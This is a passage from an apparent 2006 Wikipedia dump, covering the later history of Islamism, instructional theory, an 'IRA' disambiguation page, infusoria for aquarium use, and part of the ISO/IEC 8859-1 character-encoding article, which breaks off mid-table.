While Qutb's ideas became increasingly radical during his imprisonment prior to his execution in 1966, the leadership of the Brotherhood, led by Hasan al-Hudaybi, remained moderate and interested in political negotiation and activism. Fringe or splinter movements, however, did develop and pursued a more radical direction, perhaps inspired by final writings of Qutb in the mid-1960s (e.g. &quot;Milestones&quot;). By the 1970s, the Brotherhood renounced violence as a means to their goals. 
The path of violence and military struggle was however taken up by such movements as the [[Egyptian Islamic Jihad]] organisation, responsible for the assassination of [[Anwar Sadat]] in 1981. Unlike earlier anti-colonial movements, Egyptian Islamic Jihad focused its efforts on &quot;apostate&quot; leaders of Muslim states, or those leaders who held secular leanings or introduced or promoted Western/foreign ideas and practices into Islamic societies. Their views were outlined in a pamphlet written by Muhammad Abd al-Salaam Farag, in which he states: &quot;&amp;hellip;there is no doubt that the first battlefield for jihad is the extermination of these infidel leaders and to replace them by a complete Islamic Order&amp;hellip;&quot;
(It is important to note that 'jihad' means 'struggle' and comes in many forms- not just military. Eg, not giving in to temptation is a struggle, is a jihad).
Another [[Islamic Jihad]] group emerged in Palestine as an offshoot of the Egyptian group, and began militant activity against the state of [[Israel]], and consistently opposed itself to the policies of the secular [[Palestine Liberation Organization]] (PLO) and [[Yasser Arafat]].

===Wahhabism===
Another influential strain of Islamist thought came from the [[Wahhabi]] movement in Saudi Arabia. The Wahhabists, who emerged in the [[18th century]] led by Muhammad ibn Abd al-Wahhab, also believed that it was necessary to live according to the strict dictates of Islam, which they interpreted to mean living in the manner that the prophet [[Muhammad]] and his followers had lived in during the [[seventh century]] in [[Medina]]. Consequently they were opposed to many innovations developed since that time, including the [[minaret]], marked graves, and later television and radios. The Wahhabis also considered those Muslims who violated their strict interpretation to be heretics, and thus used violence against other Muslims. When King [[Ibn Saud|Abdul Aziz al-Saud]] founded [[Saudi Arabia]], he brought the Wahhabists into power with him. With Saud's rise to prominence, Wahhabism spread, especially following the [[1973 oil crisis|1973 oil embargo]] and the glut of oil wealth that resulted for Saudi Arabia. The Wahhabists were proselytizers, and made use of their wealth to spread their interpretation of Islam.

===Recent history===
Islamism went through its major political and philosophical developments in the early part of the twentieth century, but it was not until the [[1980s]] that it became active in an international arena and rose to great prominence in the [[1990s]].

The reasons for the rise of Islamism during this period are still disputed. The ideologies that had dominated the [[Middle East]] since [[decolonization]] such as [[Ba'athism]], [[Arab Socialism]], and [[Arab Nationalism]] had, by 1980, failed to attain the economic and political goals expected of them. By the late 1980s the distinct Shi'ite version of political Islam had been drained of its vigour in the [[Iran-Iraq War]]. During the conflict against the [[Soviet Union]] in [[Afghanistan]], many Islamists came together to fight what they saw as an atheist invading force and were heavily funded by the United States. In [[Pakistan]], military dictators brought into power through coups (especially [[Zia-ul-Haq]]) exploited Islamist sentiments to consolidate their power, bringing Islamist political parties into prominence and all but destroying the traditional secularism that stemmed from the secular stance of the [[Muslim League]] and its leader [[Mohammad Ali Jinnah]] (founder of Pakistan).

In his book ''Jihad: The Trail of Political Islam'' [[Gilles Kepel]] argues that the central importance of Islamism in the 1990s was a product of the [[Gulf War]]. Prior to 1990 organized political Islam had been mostly associated with [[Saudi Arabia]], a nation founded on Wahhabism and an ally of Islamist groups in Egypt and in Afghanistan.  Saudi Arabia, as a close ally of the West and with a strong interest in regional stability, played an important restraining role on Islamist groups.

The Shi'ite clerics in Iran had long argued that Saudi Arabia was an apostate state, a puppet of the West that espoused a corrupted Islam.  During the 1980s these accusations had little effect, largely because of their Shi'ite origin.  However, Kepel argues that when [[Saddam Hussein]] turned on his former allies, he embraced this rhetoric, arguing that Saudi Arabia had betrayed its duty to protect the holiest sites of Islam.  Kepel states that Saddam Hussein embraced Islamic rhetoric and trappings and tried to draw leading scholars and activists to his camp.  Some of the main Islamist groups remained loyal to Saudi Arabia, but a number such as parts of the Muslim Brotherhood and Afghani [[mujahideen]] aligned themselves with Saddam.  Far more groups declared themselves neutral in the struggle.

According to Kepel the rapid defeat of Saddam did not end this rift.  As Saddam had likely predicted Saudi Arabia had found itself in a severe dilemma, the only way to counter the Iraqi threat was to seek help from the west, which would immediately confirm the Iraqi allegations of Saudi Arabia being a friend to the west.  To ensure the regime's survival Saudi Arabia accepted a massive western presence in the country and de facto cooperation with [[Israel]] causing great offence to many in Islamist circles.

After the war Saudi Arabia launched a two pronged strategy to restore its security and leadership in Islamist circles.  Those Islamist groups who refused to return under the Saudi umbrella were persecuted and any Islamists who had criticized Saudi regime were arrested or forced into exile, with most going to [[London]].  At the same time Saudi oil money began to flow freely to those Islamist groups who continued to work with the kingdom.  Islamist [[madrassas]] around the world saw their funding greatly increased.  More covertly Saudi money began to fund more violent Islamist groups in areas such as [[Bosnia and Herzegovina | Bosnia]] and the former [[Soviet Union]].  Saudi Arabia's western allies mostly looked the other way seeing the survival of their crucial ally as more important than the problem of more money and resources flowing to Islamist groups.  

In the 1990s Islamist conflicts erupted around the world in areas such as [[Algeria]], the [[Palestinian territories]], [[Sudan]], and [[Nigeria]].  In [[1995]] a series of terrorist attacks were launched against [[France]].  The most important development was the rise to power of the Deobandi [[Taliban]] in [[Afghanistan]] in [[1996]].  In the Taliban-ruled Afghanistan a number of anti-Saudi and anti-Western Islamist groups found refuge. Significantly, [[Osama bin Laden]], a wealthy Saudi influenced by Wahhabism and the writings of Sayed Qutb, joined forces with the Egyptian Islamic Jihad under [[Ayman al-Zawahiri]] to form what is now called [[al-Qaeda]].

A considerable effort has been made to fight Western targets, especially the [[United States]]. The United States in particular was made a subject of Islamist ire because of its support for Israel, its presence on Saudi Arabian soil, what Islamists regard as its aggression against Muslims in Iraq, and its support of the regimes Islamists oppose. In addition some Islamists have concentrated their activity against Israel, and nearly all Islamists view Israel with hostility. Osama bin Laden, at least, believes that this is of necessity due to historical conflict between Muslims and Jews, and considers there to be a Jewish/American alliance against Islam.

There is some debate as to how influential Islamist movements remain. Some scholars assert that Islamism is a fringe movement that is dying, following the clear failures of Islamist regimes like the regime in Sudan, the Wahhabist Saudi regime and the Deobandi Taliban to improve the lot of Muslims. However, others (e.g. [[Ahmed Rashid]]) feel that the Islamists still command considerable support and cite the fact that Islamists in Pakistan and Egypt regularly poll 10 to 30 percent in electoral polls which many believe are rigged against them.

An alternative direction has been taken by many Islamists in [[Turkey]], where the Islamist movement split into reformist and traditionalist wings in [[2001]].  The reformists formed the moderate Islamist [[Justice and Development Party (Turkey)|Justice and Development Party]] (Ak Party), which gained an overall majority in the Turkish parliament in [[2002]], and has sought to balance Islamic values with the requirements of a secular and democratic political system.  Some in the Justice and Development Party see the [[Christian Democrat]] parties of Western Europe as a model, which has led some to question whether it is a genuinely Islamist movement.

== Islamism and modern political theory ==
The foundation of modern Islamist thought is the many centuries of Islamic theology and political science, but the development of modern Islamism was also both a reaction to and influenced by the other ideologies of the modern world. Modern Islamism began in the colonial period, and it was overtly anti-imperialist. It was also opposed to the local elites who wanted independence, but who also supported adopting western liberal ideals. Writers like the Egyptian [[Sayyid Qutb]] and the Pakistani [[Sayyid Abul Ala Maududi]] saw western style individualism as counter to centuries of tradition, and also as inevitably leading to a debauched and licentious society.

In the years after independence the most important ideological current in the Muslim world was socialism and communism. This influenced Islamism in two ways. Much Islamist thought and writing during this era was directly addressed to countering Marxism. For instance [[Muhammad Baqir al-Sadr]]'s main works are detailed critiques of Marxism, paying much less attention to capitalism and liberalism. Another option was to try and integrate socialism and Islamism. This was most notably done by [[Ali Shariati]]. At several points Islamist and leftist groups found common cause, such as during the early stages of the [[Iranian Revolution]], and several organizations, such as the [[Islamic Socialist Front]] in Syria, were both overtly Marxist and overtly Islamist. While most Islamists reject Marxism, the influence of socialist ideologies during the formative period of modern Islamism means that Islamist works continue to be infused with Marxist language and concepts. For instance Qutb's view of an elite vanguard to lead an Islamic revolution is borrowed directly from [[Lenin]]'s [[Vanguard of the Proletariat]].

During the 1930s a number of [[fascism|fascistic]] groups arose in the Middle East. Some such as the [[Syrian Social Nationalist Party|SSNP]] and the [[Kataeb Party]] were mostly supported by Christians and other minority groups, others like the Egyptian [[Misr al-Fatat]] were mainly Sunni Arab.  The fascist method of seizing power did inspire Islamist [[Hassan al-Banna]], who founded organizations directly based on the [[Brownshirts]] and [[Blackshirts]] to try and seize power. This method proved ineffective, and since then most Islamists have used the cell based structure commonly used by leftist groups. Ideologically there is little evidence that fascism had much influence on the development of Islamism. The far-right French doctor [[Alexis Carrel]] had an important influence on Qutb's thought, and the well-read Qutb also seems to have had a passing knowledge of ''[[Mein Kampf]]''. Several Islamist groups have embraced [[Nazi]] like [[anti-Semitism]], as an outgrowth of Islamist [[anti-Zionism]].

Several authors, among which [[Daniel Pipes]] [http://danielpipes.org/article/81] and [[Michael Ledeen]] [http://www.nationalreview.com/ledeen/ledeen200310170840.asp] have prominently equated Islamism to [[fascism]] and coined the word &quot;''[[Islamofascism]]''&quot;. Cavelos and Laidi state in [ISBN 0415167175] ''A World without Meaning'' that Islamism shares more characteristics with fascism than with communism, in that it does not have a definite progress belief, which communism has, and that three characteristics are shared by Islamism, communism and fascism: a totalitarian political claim, a global discourse about society in which the theme of exclusion is central and a political and social apparatus which respond to the demands of disadvantageous groups. The most direct western parallel to Islamism is, however, not fascism, but [[Dominionism]] (put in place in the past such as during [[The Protectorate]] of [[Oliver Cromwell]]).

== Islamist movements ==
* International &amp;mdash; [[Al-Qaida]], the [[Muslim Brotherhood]], and [[Hizb ut-Tahrir]]
* [[Afghanistan]] &amp;mdash; [[Taliban]] 
* [[Algeria]] &amp;mdash; [[Armed Islamic Group|Groupe Islamique Armé]], [[Islamic Salvation Front]], [[Salafist Group for Preaching and Combat|Groupe Salafiste pour la Prédication et le Combat]]
* [[Egypt]] &amp;mdash; [[Gama'at Islamiya]]
* [[Lebanon]] &amp;mdash; [[Hizballah]]
* [[Iraq]]i [[Kurdistan]] &amp;mdash; [[Islamic Movement in Kurdistan]], [[Islamic Group Kurdistan|Islamic Group of Kurdistan]], [[Kurdistan Islamic Union|Islamic Union of Kurdistan]]
* [[Iran]] [[Kurdistan]] &amp;mdash; [[Khabat]]
* [[Palestinian territories|Palestine]] &amp;mdash; [[Hamas]]
* [[Central Asia]] &amp;mdash; [[Hizb ut-Tahrir]]
* [[South Asia]] &amp;mdash; [[Jamaat-e-Islami]] (there are Jamaats in India, Pakistan and Wahhabism), [[Jamaat-ul-Mujahideen]]
* [[Turkey]] &amp;mdash; [[Justice and Development Party (Turkey)|Justice and Development Party]] (disputed), [[Felicity Party (Turkey)|Felicity Party]]
* [[Bahrain]] &amp;mdash; [[Al Wefaq]] [[Asalat]]

== See also ==
* [[Kafir]]
* [[Dhimmi]]
* [[Hadith]]
* [[Islamist terrorism]]
* [[Islamofascism]]
* [[Jihad]]
* [[Mujahedeen]]
* [[Mutaween]] (&quot;religious police&quot;)
* [[Neofascism and religion]]
* [[Sharia]]
* [[Theocracy]]
* [[Wahhabism]]

==External links==
*[http://memri.org/bin/articles.cgi?Page=archives&amp;Area=sr&amp;ID=SR3104 List of Islamist websites] as of July 16, 2004
*[http://www.icapi.org International Coalition Against Political Islam]
*[http://www.marxists.de/religion/harman/index.htm The Prophet and the Proletariat] - critique and history of religion and rebellion in the Middle East
*[http://www.meforum.org/article/447 ''Is Islamism a Threat?''] - a panel discussion hosted by Middle East Quarterly, December 1999
*[http://www.washington-report.org/backissues/0994/9409021.htm ''Evaluating the Islamist Movement''] - written by Greg Noakes, an American Muslim who works at the Washington Report
*[http://www.washington-report.org/backissues/0695/9506017.htm ''Muslim Scholars Face Down Fanaticism''] - written by Aicha Lemsine, an Algerian journalist and author.
*[http://jihadwatch.org/ Discussion and Opinion regarding Terrorism and Islamic Reform ]
*[http://www.geocities.com/martinkramerorg/Terms.htm Coming to Terms: Fundamentalists or Islamists?] on terminology, by [[Martin Kramer]]
*[http://www.danielpipes.org/article/304 Daniel Pipes - ''Is Islamism Dead?: The Future of Islamism in the Muslim World'']
*[http://www.civitas.org.uk/pdf/cs29.pdf The Institute for the Study of Civil Society report - The ‘West’, Islam and Islamism]

==Further reading==
* ''[[Onward Muslim Soldiers|Onward Muslim Soldiers: How Jihad Still Threatens America and the West]]'', [[Robert Spencer]], Regnery Publishing, [[2003]]
* ''Children of Abraham: An Introduction to Islam for Jews'', Khalid Duran with Abdelwahab Hechiche, The American Jewish Committee and Ktav, [[2001]] 
* ''Islamic Fundamentalism.'', Youssef M. Choueiri. Boston: Twayne Publishers, 1990.
* ''The Islamism Debate'', [[Martin Kramer]], University Press, [[1997]] 
* ''Liberal Islam: A Sourcebook'', Charles Kurzman, Oxford University Press, [[1998]]
* ''The Vanguard of the Islamic Revolution: The Jama'at-i Islami of Pakistan'', Vali Nasr, Univ. of California Press, [[1994]]
* ''The Failure of Political Islam'', Olivier Roy, Harvard Univ. Press, [[1994]]
* ''The Challenge of Fundamentalism: Political Islam and the New World Disorder'', [[Bassam Tibi]], Univ. of California Press, [[1998]]
* ''Pioneers of Islamic Revival.'' ed. Ali Rahnema. London: Zed Books, 1994.

[[Category:Islam]]
[[Category:Political theories]]
[[Category:Religion and politics]]
[[ar:إسلام سياسي]]
[[br:Islamouriezh]]
[[da:Islamisme]]
[[de:Islamischer Fundamentalismus]]
[[es:Islamismo]]
[[fr:Islamisme]]
[[he:אסלאמיזם]]
[[nl:Islamisme]]
[[ja:イスラム主義]]
[[no:Islamisme]]
[[nn:Islamisme]]
[[pl:Islamista]]
[[pt:Fundamentalismo islâmico]]
[[sv:Islamism]]
[[tr:İslamcılık]]</text>
    </revision>
  </page>
  <page>
    <title>Instructional theory</title>
    <id>15014</id>
    <revision>
      <id>38833559</id>
      <timestamp>2006-02-08T23:07:21Z</timestamp>
      <contributor>
        <username>Cmdrjameson</username>
        <id>101935</id>
      </contributor>
      <minor />
      <comment>Remove refs from Amazon URL</comment>
      <text xml:space="preserve">'''Instructional theory''' is a discipline that focuses on how to structure material for promoting the education of humans, particularly youth. Originating in the United States in the late 1970s, ''instructional theory'' is typically divided into two categories: the cognitive and behaviorist schools of thought.  Instructional theory was spawned off the 1956 work of [[Benjamin Bloom]], a University of Chicago professor, and the results of his  [[Taxonomy of Education Objectives]] — one of the first modern codifications of the learning process. 
One of the first instructional theorists was [[Robert M. Gagne]], who in 1965 published ''[[Conditions of Learning]]'' for the Florida State University's Department of Educational Research.

Renowned psychologist [[B. F. Skinner]]'s theories of behavior were highly influential on instructional theorists because their hypotheses can be tested fairly easily with the [[scientific process]]. It is more difficult to demonstrate cognitive learning results. [[Paulo Freire]]'s [http://www.amazon.com/exec/obidos/tg/detail/-/0826412769 Pedagogy of the Oppressed] — first published in English in 1968 — had a broad influence over a generation of American educators with his critique of various &quot;banking&quot; models of education and analysis of the teacher-student relationship. 

In the context of [[e-learning]], a major discussion in instructional theory is the potential of [[learning object]]s to structure and deliver content. A stand-alone [[educational animation]] is an example of a learning object that can be re-used as the basis for different learning experiences. There are currently many groups trying to set standards for the development and implementation of [[learning object]]s. At the forefront of the standards groups is the [[Department of Defense]]'s [[Advanced Distributed Learning]] initiative with its [[SCORM]] standards. SCORM stands for ''Shareable Content Object Reference Model.''

==See also==
* [[Learning theory (education)|Learning theory]]
* [[Instructional design]]
* [[Instructional technology]]
* [[Educational technology]]

==External links==
* [http://www.edu-cyberpg.com Educational CyberPlayGround Online Curriculum]
* [http://www.adlnet.org Advanced Distributed Learning]
* [http://www.fsu.edu/~edres Department of Educational Research]

[[Category:Alternative education]]
[[Category:Educational psychology]]
[[Category:Pedagogy]]</text>
    </revision>
  </page>
  <page>
    <title>IRA</title>
    <id>15015</id>
    <revision>
      <id>41839907</id>
      <timestamp>2006-03-02T02:06:08Z</timestamp>
      <contributor>
        <ip>211.28.195.66</ip>
      </contributor>
      <comment>/* Other uses */ fix typo</comment>
      <text xml:space="preserve">&lt;!--
Please do not add links in the text on this page. The Manual of Style says that disambiguation pages should link only to the pages which are being disambiguated.

Please do not include any more text than is sufficient to achieve disambiguation - if you want to add material, use the relevant main article.
--&gt;
The acronym '''IRA''' may refer to:
==Irish Republican Army==
;:''See also [[List of IRAs]]''

;* [[Irish Republican Army]], the self-proclaimed Army of the &quot;Irish Republic&quot; that fought the Irish War of Independence against British rule, 1916 - 1921
;* [[Irish Republican Army (1922-1969)]]: Originally the Anti-Treaty or Republican side in the Irish Civil War of 1922 - 1923.  It split again in 1969 :&amp;ndash;
;* [[Official Irish Republican Army ]]: in 1969, the movement split between a Marxist and a more militant traditionalist wing. The former became known as the &quot;Official&quot; IRA;
;* [[Provisional Irish Republican Army ]]: the traditionalist side in the 1969 split, today the largest republican paramilitary group.  '''''It is to this group that the term &quot;IRA&quot; nearly always refers today.'''''
;* [[Continuity Irish Republican Army]]: a small breakaway from the Provisional IRA, formed in 1986 by those opposed to Sinn Féin taking seats in Dáil Éireann, the lower house of the Irish parliament.
;* [[Real Irish Republican Army]]: another small breakaway from the Provisional IRA formed after the 1997 ceasefire.

==Other uses==
;* [[Individual Retirement Account]], a private retirement account in the United States
;* [[Indian Rights Association]], an advocacy and lobbyist group for the rights of Native Americans
;* [[I.R.A. (band)]], &quot;Ideas de Revolución Adolescente&quot;, a Colombian punk band
;* [[International Reading Association]], a membership organisation of literacy professionals
;* [[Inverness Royal Academy]], a secondary school in Scotland
;* [[Intercollegiate Rowing Association]], the national championship for USA men's collegiate rowing
;* [[International Racquetball Association]], an organisation regulating the sport of [[Racquetball]]
;* [[Inventory Record Accuracy]], a verification protocol for stores.
;* [[Indian Rationalist Association]], a member of the [[Federation of Indian Rationalist Associations]]

==See also==
* [[Ira]] (disambiguation), for non-acronyms

{{TLAdisambig}}</text>
    </revision>
  </page>
  <page>
    <title>Infusoria</title>
    <id>15018</id>
    <revision>
      <id>38198365</id>
      <timestamp>2006-02-04T21:36:56Z</timestamp>
      <contributor>
        <username>Siva1979</username>
        <id>755590</id>
      </contributor>
      <comment>added myonemes</comment>
      <text xml:space="preserve">'''Infusoria''' is a collective term for minute aquatic creatures like [[Ciliate|ciliate]], [[Euglena|euglena]], [[Paramecium|paramecium]], [[Protozoa|protozoa]] and unicellular [[algae|algae]] that exist in freshwater [[pond]] water. However, in formal classification [[microorganism]] called infusoria belongs to Kingdom [[Animal]]ia, Phylum [[Protozoa|Protozoa]], Class [[Ciliates|Ciliates]] (Infusoria).

==Aquarium use==
Infusoria is used by owners of [[aquarium]]s to feed fish [[fry]], [[gourami]] fry and [[tadpoles]] being just two examples which will require this food to survive the first few days. However there is usually not enough infusoria in the average aquarium tank to feed the newly hatched animals. To make infusoria, you take a handful of [[hay]] or dry leaves and place it into a jar, fill the jar with water from your tank or a pool of water. Leave in the [[sun]] for a few days. When the water just starts to get cloudy the infusoria has sufficient [[bacteria]] to feed upon. Once the water begins to clear again, an appropriate culture is available. You can then extract these creatures, with a [[turkey (bird)|turkey]] baster, for example, for feeding to your fry. 

==Myonemes==
In Infusoria and some [[Flagellates]], the differentiated threads of ectosarc, which are contractile and doubly refractive, perform the function of muscular fibres in the [[Metazoa]].

===External links===
* [http://www.microscopyu.com/moviegallery/pondscum/ Types of Protozoans and video]

[[Category:Protista]]</text>
    </revision>
  </page>
  <page>
    <title>ISO/IEC 8859-1</title>
    <id>15019</id>
    <revision>
      <id>41960120</id>
      <timestamp>2006-03-02T22:12:15Z</timestamp>
      <contributor>
        <ip>216.57.209.250</ip>
      </contributor>
      <comment>/* ISO-8859-1 */</comment>
      <text xml:space="preserve">'''ISO 8859-1''', more formally cited as '''ISO/IEC 8859-1''' or less formally as '''Latin-1''', is part 1 of [[ISO 8859|ISO/IEC 8859]], a standard [[character encoding]] of the [[Latin alphabet]]. It was originally developed by the [[International Organization for Standardization|ISO]], but later jointly maintained by the ISO and the [[International Electrotechnical Commission|IEC]]. The standard, when supplemented with additional character assignments, is the basis of two widely-used character maps known as '''ISO-8859-1''' (''note the extra hyphen'') and [[Windows-1252]].

In June [[2004]], the ISO/IEC working group responsible for maintaining eight-[[bit]] coded character sets disbanded and ceased all maintenance of ISO 8859, including ISO 8859-1, in order to concentrate on the [[Universal Character Set]] and [[Unicode]]. In computing applications, encodings that provide full UCS support (such as [[UTF-8]] and [[UTF-16]]) are finding increasing favor over encodings based on ISO 8859-1.

== Coverage ==
ISO 8859-1 encodes what it refers to as &quot;[[Latin alphabet]] no. 1,&quot; consisting of 191 [[character (computing)|characters]] from the Latin [[writing system|script]]. Each character is encoded as a single eight-bit code value. These code values can be used in almost any data interchange system to communicate in the following European languages (with a few exceptions due to missing characters, as noted):
* [[Albanian language|Albanian]],
* [[Basque language|Basque]],
* [[Catalan language|Catalan]],
* [[Danish language|Danish]],
* [[Dutch language|Dutch]] (missing ''[[IJ (letter)|Ĳ]], ĳ''),
* [[English language|English]],
* [[Estonian language|Estonian]] (missing ''[[Š]], š, [[Ž]], ž'' for loan words),
** Note that Windows-1252 and ISO-8859-15 do contain these
* [[Faroese language|Faroese]],
* [[French language|French]] (missing ''[[OE ligature|Œ]], œ'' and rare ''[[Ÿ]]''),
** Note that Windows-1252 and ISO-8859-15 do contain these
* [[Finnish language|Finnish]] (missing ''[[Š]], š, [[Ž]], ž'' for loan words),
** Note that Windows-1252 and ISO-8859-15 do contain these
* [[German language|German]],
* [[Icelandic language|Icelandic]],
* [[Irish language|Irish]] (new orthography),
* [[Italian language|Italian]],
* [[Latin]],
* [[Norwegian language|Norwegian]] (Bokmål and Nynorsk),
* [[Portuguese language|Portuguese]],
* [[Romansh|Rhaeto-Romanic]],
* [[Scottish Gaelic|Scottish]],
* [[Spanish language|Spanish]],
* [[Swedish language|Swedish]].
Other languages covered include
* [[Afrikaans language|Afrikaans]] and
* [[Swahili language|Swahili]].
Thus, this character encoding is used throughout [[The Americas]], [[Western Europe]], [[Oceania]], and much of [[Africa]]. For some languages the correct typographical [[Quotation mark#Table|quotation mark]]s are missing, for only ''«'' and ''»'' are included.

''See also:'' [[Alphabets derived from the Latin]]

== History ==

ISO 8859-1 was based on the [[Multinational Character Set]] used by [[Digital Equipment Corporation]] in the popular [[VT220]] terminal. It was developed within ECMA, the
[[European Computer Manufacturers Association]], and published along with [[ISO 8859-2]],
[[ISO 8859-3]], and [[ISO 8859-4]] as part of the specification 
[http://www.ecma-international.org/publications/files/ECMA-ST/Ecma-094.pdf ECMA-94], by which name it is still sometimes known.

{{sectstub}}&lt;!--revision history, anyone?--&gt;

== Relationship to ISO/IEC 8859-15 ==

Although ISO/IEC 8859-1 has enough characters for most French text, it is missing a few less-common letters. It is also missing a single-glyph representation for the letter ''Ĳ'', two Finnish letters used for transcription of some foreign names and in a few loanwords, typographic [[quotation mark]]s and [[dash]]es, and common symbols such as the [[euro]] symbol&amp;#160;(€) and dagger&amp;#160;(&amp;#8224;).

In order to provide some of these characters, [[ISO 8859-15|ISO/IEC 8859-15]] was developed as an update of ISO/IEC 8859-1. This required, however, the removal of some infrequently-used characters from ISO/IEC 8859-1, including fraction symbols and letter-free diacritics: &amp;#164;, &amp;#166;, &amp;#168;, &amp;#180;, &amp;#184;, &amp;#188;, &amp;#189;, and &amp;#190;.

== Code table ==
Since all 191 characters encoded by ISO/IEC 8859-1 are 'graphic' (ISO's term for characters that are not control codes) and are compatible with most web browsers, they can be shown as [[glyph]]s in the following table. Since the space, no-break space, and soft hyphen characters would not normally be visible, they are represented by abbreviations for their names. All other characters are represented literally. Row and column headings indicate the [[hexadecimal]] digit combinations to produce the eight-bit code value; e.g., the letter ''L'' is at code value 4C.

{| class=&quot;wikitable&quot; style=&quot;text-align: center&quot;
!colspan=17|ISO/IEC 8859-1
|-
!!!x0!!x1!!x2!!x3!!x4!!x5!!x6!!x7!!x8!!x9!!xA!!xB!!xC!!xD!!xE!!xF
|-
!0x
|rowspan=&quot;2&quot; colspan=&quot;16&quot; style=&quot;background-color:#CFC&quot;|''unused''
|-
!1x
|-
!2x
|style=&quot;text-decoration: underline&quot;|''[[space (punctuation)|SP]]''||[[exclamation mark|!]]||[[double quote|&quot;]]||[[number sign|#]]||[[dollar sign|$]]||[[percent|%]]||[[ampersand|&amp;]]||[[']]||[[bracket|(]]||[[bracket|)]]||[[asterisk|*]]||[[plus sign|+]]||[[comma (punctuation)|,]]||[[hyphen|-]]||[[full stop|.]]||[[slash (punctuation)|/]]
|-
!3x
|[[0 (number)| 0 ]]||[[1 (number)|1]]||[[2 (number)|2]]||[[3 (number)|3]]||[[4 (number)|4]]||[[5 (number)|5]]||[[6 (number)|6]]||[[7 (number)|7]]||[[8 (number)|8]]||[[9 (number)|9]]||[[colon (punctuation)|:]]||[[semicolon|;]]||[[angle bracket|&lt;]]||[[equal sign|=]]||[[angle bracket|&gt;]]||[[question mark|?]]
|-
!4x
|[[@]]||[[A]]||[[B]]||[[C]]||[[D]]||[[E]]||[[F]]||[[G]]||[[H]]||[[I]]||[[J]]||[[K]]||[[L]]||[[M]]||[[N]]||[[O]]
|-
!5x
|[[P]]||[[Q]]||[[R]]||[[S]]||[[T]]||[[U]]||[[V]]||[[W]]||[[X]]||[[Y]]||[[Z]]||[[square brackets|&lt;nowiki&gt;[&lt;/nowiki&gt;]]||[[Backslash|\]]||[[square brackets|&amp;#93;]]||[[circumflex|^]]||[[underscore|_]]
|-
!6x
|[[Grave accent|`]]||[[a]]||[[b]]||[[c]]||[[d]]||[[e]]||[[f]]||[[g]]||[[h]]||[[i]]||[[j]]||[[k]]||[[l]]||[[m]]||[[n]]||[[o]]
|-
!7x
|[[p]]||[[q]]||[[r]]||[[s]]||[[t]]||[[u]]||[[v]]||[[w]]||[[x]]||[[y]]||[[z]]||[[braces (punctuation)|{]]||[[pipe (computing)||]]||[[braces (punctuation)|&lt;nowiki&gt;}&lt;/nowiki&gt;]]||[[tilde|~]]&lt;td style=&quot;background-color:#CFC&quot;&gt;
|-
!8x
|rowspan=&quot;2&quot; colspan=&quot;16&quot; style=&quot;background-color:#CFC&quot;|''unused''
|-
!9x
|-
!Ax
|style=&quot;text-decoration: underline&quot;|''[[Non-breaking space|NBSP]]''
|[[exclamation mark|&amp;#161;]]
|[[cent (currency)|&amp;#162;]]
|[[Pound (currency)|&amp;#163;]]
|[[currency|&amp;#164;]]
|[[yen|&amp;#165;]]
|[[pipe (computing)|&amp;#166;]]
|[[section sign|&amp;#167;]]
|[[diaeresis|&amp;#168;]]
|[[copyright|&amp;#169;]]
|[[ª]]
|[[angle quotes|&amp;#171;]]
|[[logical not|&amp;#172;]]
|style=&quot;text-decoration: underline&quot;|''[[soft hyphen|SHY]]''
|[[trademark|®]]
|[[macron|&amp;#175;]]
|-
!Bx
|[[degree (symbol)|°]]
|[[plus-minus sign|&amp;#177;]]
|[[square (algebra)|²]]
|[[cube_(arithmetic)|³]]
|[[acute accent|&amp;#180;]]
|[[micro sign|&amp;#181;]]
|[[pilcrow|&amp;#182;]]
|[[middle dot|&amp;#183;]]
|[[cedilla|&amp;#184;]]
|[[¹]]
|[[º]]
|[[angle quotes|&amp;#187;]]
|[[¼]]
|[[½]]
|[[¾]]
|[[question mark|&amp;#191;]]
|-
!Cx
|[[À]]||[[Á]]||[[Â]]||[[Ã]]||[[Ä]]||[[Å]]||[[Æ]]||[[cedilla|Ç]]||[[È]]||[[É]]||[[Ê]]||[[Ë]]||[[Ì]]||[[Í]]||[[Î]]||[[Ï]]
|-
!Dx
|[[Ð]]||[[Ñ]]||[[Ò]]||[[Ó]]||[[Ô]]||[[Õ]]||[[Ö]]||[[×]]||[[Ø]]||[[Ù]]||[[Ú]]||[[Û]]||[[Ü]]||[[Ý]]||[[Þ]]||[[ß]]
|-
!Ex
|[[à]]||[[á]]||[[â]]||[[ã]]||[[ä]]||[[å]]||[[æ]]||[[ç]]||[[è]]||[[é]]||[[ê]]||[[ë]]||[[ì]]||[[í]]||[[î]]||[[ï]]
|-
!Fx
|[[ð]]||[[ñ]]||[[ò]]||[[ó]]||[[ô]]||[[õ]]||[[ö]]||[[÷]]||[[ø]]||[[ù]]||[[ú]]||[[û]]||[[ü]]||[[ý]]||[[þ]]||[[ÿ]]
|}

Code values 00&amp;ndash;1F, 7F, and 80&amp;ndash;9F are not assigned to characters by ISO/IEC 8859-1.

== Related character maps ==
The ISO/IEC 8859-1 standard has long been the basis of a number of ''character maps'', also known as ''character sets'', ''charsets'', or ''code pages'', the most popular being '''ISO-8859-1''' (note the extra hyphen) and [[Windows-1252]]. Both of these maps are a superset of ISO/IEC 8859-1; they supplement the standard's 191 character assignments by mapping additional characters to at least some portion of the code value ranges 00&amp;ndash;1F, 7F, and 80&amp;ndash;9F. 

=== ISO-8859-1 ===
In [[1992]], the [[IANA]] registered the character map '''ISO_8859-1:1987''', more commonly known by its preferred [[MIME]] name of ISO-8859-1 (note the extra hyphen over ISO 8859-1), a superset of ISO 8859-1, for use on the [[Internet]]. This map assigns the [[C0 and C1 control character]]s to the code values 00&amp;ndash;1F, 7F, and 80&amp;ndash;9F. It thus provides for 256 characters via every possible 8-bit value.

ISO-8859-1 is (according to the standards at least) the default encoding of documents delivered via [[HTTP]] with a [[MIME type]] beginning with &quot;text/&quot;. It is the default encoding of the values of certain descriptive HTTP headers, and is the standard encoding used by the [[X Window System]] on most [[Unix]] machines. It was also the basis of the repertoire of characters allowed in [[HTML]] 3.2 documents (HTML 4.0, however, is based on [[unicode]]).

Escape sequences (from ISO/IEC 6429 or [[ISO/IEC 2022]]) are not to be interpreted in documents labeled as ISO-8859-1 encoded. As well as the canonical name and preferred MIME name mentioned above, the following other aliases are registered for ISO-8859-1: '''ISO_8859-1''', '''ISO-8859-1''', '''iso-ir-100''', '''csISOLatin1''', '''latin1''', '''l1''', '''IBM819''', '''CP819'''. ISO-8859-1 was also incorporated as the first 256 code points of [[unicode]].

In the table below only the rows affected by the IANA's additions are shown; for the rest please refer to the main table at the start of the article.

{| class=&quot;wikitable&quot; style=&quot;text-align:center&quot;

